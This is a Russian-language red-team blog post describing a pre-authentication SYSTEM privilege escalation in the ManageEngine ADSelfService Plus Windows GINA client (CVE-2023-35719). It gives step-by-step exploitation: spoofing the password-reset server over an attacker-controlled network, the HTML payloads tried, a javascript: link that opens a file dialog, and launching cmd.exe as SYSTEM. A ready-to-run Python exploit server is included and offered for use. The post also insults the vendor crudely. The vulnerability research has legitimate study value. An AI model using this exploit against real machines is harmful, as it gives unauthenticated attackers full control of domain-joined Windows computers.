Red teaming
July 3, 2023

Повышение привилегий до SYSTEM через ADSelfService в конфигурации по умолчанию

ManageEngine ADSelfService Plus предоставляет интегрированное решение для самостоятельного управления паролями и единого входа. Данное решение помогает пользователям домена выполнять самостоятельный сброс пароля, самостоятельное разблокирование учетной записи, самостоятельное обновление личных данных сотрудника (например, номера мобильного телефона и фотографий) в Microsoft Windows Active Directory.

Подписывайся на AD_POHEQUE и ставь 👾

ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.

GINA

Библиотека динамической компоновки (DLL) графической идентификации и проверки подлинности. GINA — это заменяемый компонент DLL, который загружается исполняемым файлом Winlogon . GINA реализует политику проверки подлинности интерактивной модели входа и, как ожидается, будет выполнять все идентификации и проверки подлинности взаимодействия с пользователем.

Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации. 😎

Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.

Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus4.2.9, 2012 года выпуска, и вплоть до последней версии 6.3 Build 6301 на момент написания статьи (2023-06-23).

Экран входа Windows:

Изображение №1: Экран входа Windows с установленной GINA

Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:

Изображение №2: Сброс пароля пользователя через GINA

Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?

Изображение №3: Невозможность достижения контроллера домена adselfpwnplus.com

Что произойдет, если мы нажмем "Искать этот сайт в Bing"?

Изображение №4: Отказ в доступе к внешнему URL


Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!

К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.

Но заметьте, что нашей устройство пытается установить связь с сервером adselfservicepwn.com на порту 8888.
Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.

Подключившись к сети, которую мы контролируем, мы можем подменить сервер adselfpwnplus.com и снова вызвать экран сброса пароля.

Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:

GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1

Давайте предоставим AgentStatusUpdate.cc на нашем поддельном сервере и отправим:

<html><body><b>HELLO GINA!

Работает!

Изображение № 5: мы отобразили наш HTML-код


Изображение №6: Диалоговые окна файлов удаляются

Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:

<a href="C:\windows\" /a>Директорию Windows не открыть</a>
<script>document.write('<input/type=file>')</script>
<input type="file" id="myfile" name="myfile">
<a href="mailto:[email protected]">Это не работает</a>
<a href="file:///c:\">тем более не работает</a>

Отображаемый HTML, отображаемому во встроенном окне браузера GINA, имеет какой-то черный список тегов или удаляет потенциально рисковый пользовательский ввод. Но была обнаружена годная статья "Give me a browser, I'll give you a Shell" от Rend, в которой говорится:

Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат:

javascript:document.write('<input/type=file>')

Давайте обновим наш HTML-код:

<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>

Поскольку встроенный браузер - это Microsoft Edge (браузер по умолчанию в Windows 10), основанный на Chromium, мы получаем ссылку, на которую можно нажать (ПРИМЕЧАНИЕ: автор попробовал это в Windows 7 с Internet Explorer 11, и это тоже сработало!):

Изображение №7: Наша заманчивая надпись.

Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!

Изображение №8: Диалоговое окно октрытия файла, которое мы так хотели!

Теперь эксплуатация тривиальна: просто перейдите в C:\Windows\System32 и найдите cmd.exe:

Изображение №9: Кликаем на cmd.exe

Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!

Изображение №10: GINA, открывает нам CMD.EXE с привилегиями SYSTEM.


К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.

Выводы авторов:

  • Черные списки не работают.
  • Очень сложно обезопасить встроенные браузеры в операционной системе Windows.
  • ManageEngine (разработчики ADSelfService Plus) - это куча говна, которая постоянно взламывается как минимум с 2014 года.
  • За годы несколько других исследователей также обнаружили критические уязвимости в продуктах ManageEngine.
Крутейший видеоролик с демонстрацией эксплуатации уязвимости.

Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python ;)

#!/usr/bin/env python3
#
# Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891
# Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client
# https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/adselfpwnplus/adselfpwnplus.md
#
# By:
#
# Pedro Ribeiro ([email protected]|@pedrib1337)
# João Bigotte
# Ashley King
#
# Agile Information Security (https://agileinfosec.co.uk)

from http.server import BaseHTTPRequestHandler, HTTPServer

# HTTPRequestHandler class
class CustomRequestHandler(BaseHTTPRequestHandler):

  # GET
  def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type','text/html')
        self.end_headers()

        # Send message back to client
        message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>"

        # Write content as utf-8 data
        self.wfile.write(bytes(message, "utf8"))
        print("done")
        return

def run():
  print('starting server...')

  # enter your listening address and port here for the ADSelfService Plus server spoof
  # do not forget to add a dns entry for your domain name to point to this IP
  server_address = ('13.33.37.1', 8888)
  httpd = HTTPServer(server_address, CustomRequestHandler)
  print('running server...')
  httpd.serve_forever()


run()

Подписывайся на AD_POHEQUE и ставь